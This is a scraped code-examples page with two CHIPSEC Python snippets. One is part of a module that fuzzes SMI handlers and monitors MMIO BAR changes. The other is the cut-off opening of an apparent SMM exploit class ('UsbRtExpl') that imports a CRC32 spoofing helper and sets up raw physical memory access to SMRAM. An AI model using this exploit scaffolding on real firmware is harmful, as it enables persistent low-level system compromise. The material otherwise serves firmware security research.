                    self._interrupts.send_SW_SMI(thread_id, smi_code, smi_data, _FILL_VALUE_QWORD, self.comm, ecx, _FILL_VALUE_QWORD, _FILL_VALUE_QWORD, _FILL_VALUE_QWORD)
                    bars_after = self.read_BARs()
                    if self.check_BARs(bars, bars_after):
                        self.logger.log_important( "New changes found!" )
                        if REPEAT_SMI_ON_NEW_CHANGED_REGS:
                            self.logger.log("    repeating SMI")
                            self._interrupts.send_SW_SMI(thread_id, smi_code, smi_data, _FILL_VALUE_QWORD, self.comm, ecx, _FILL_VALUE_QWORD, _FILL_VALUE_QWORD, _FILL_VALUE_QWORD)
                            bars1 = self.read_BARs()
                            self.check_BARs(bars_after,bars1)

        return ModuleResult.PASSED

    def run( self, module_argv ):
        self.logger.start_test( "Monitors changes in MMIO ranges done by SMI handlers" )

        if len(module_argv) > 0:
            self.bar_names = module_argv[0].split(':')

        if len(self.bar_names) == 0:
            self.logger.error("MMIO BAR names were not specified")
            self.logger.log("Example: chipsec_main.py -m tools.smm.bar -a RCBA:MCHBAR,smi,0:1")
            return ModuleResult.SKIPPED

        if len(module_argv) > 1 and module_argv[1] == 'smi':
            self.generate_smi = True
            if len(module_argv) > 2:
                smic_arr        = module_argv[2].split(':')
                self.smic_start = int(smic_arr[0],16)
                self.smic_end   = int(smic_arr[1],16)

        self.logger.log("[*] Configuration:")
        self.logger.log("    MMIO BAR names: %s" % self.bar_names)
        self.logger.log("    Generate SMI: %s" % ('True' if self.generate_smi else 'False'))
        self.logger.log("    SMI codes: [0x%02x:0x%02x]" % (self.smic_start,self.smic_end))

        # allocate a page or SMM communication buffer (often supplied in EBX register)
        (va, self.comm) = self.cs.mem.alloc_physical_mem( 0x1000, defines.BOUNDARY_4GB-1 )
        self.logger.log( "[*] SMM comm buffer (EBX)  : 0x%016X" % self.comm )
        self.cs.mem.write_physical_mem( self.comm, 0x1000, chr(0)*0x1000 )

        for bar_name in self.bar_names:
            if self.cs.mmio.is_MMIO_BAR_defined(bar_name):
                (base,size) = self.cs.mmio.get_MMIO_BAR_base_address(bar_name)
                self.logger.log("[*] MMIO BAR '%s': base = 0x%016X, size = 0x%08X" % (bar_name,base,size))
            else:
                self.bar_names.remove(bar_name)
                self.logger.warn("'%s' BAR is not defined. ignoring.." % bar_name)

        self.logger.log("[*] reading contents of MMIO BARs %s" % self.bar_names)
        self.bars = self.read_BARs()

        self.logger.flush()
        self.logger.log("[*] calculating normal MMIO BAR differences..")
        self.check_mmio_noSMI()

        self.logger.flush()
        if self.generate_smi:
            self.logger.log("[*] fuzzing SMIs..")
            self.res = self.smi_mmio_check(0)

        return self.res
Ejemplo n.º 25
0
import struct

import chipsec.chipset
import hexdump
from chipsec.hal.interrupts import Interrupts

from crc32_spoof import get_buffer_crc32, modify_buffer_crc32

PAGE_SIZE = 0x1000
SMI_NUM = 0x31

cs = chipsec.chipset.cs()
cs.init(None, True, True)

intr = Interrupts(cs)
SMRAM = cs.cpu.get_SMRAM()[0]

mem_read = cs.helper.read_physical_mem
mem_write = cs.helper.write_physical_mem
mem_alloc = cs.helper.alloc_physical_mem
io_read = cs.helper.read_io_port


class UsbRtExpl:
    def __init__(self):

        # Print platform information
        print("[+] Platform: {}".format(cs.longname))

        # Structures controlled by the attacker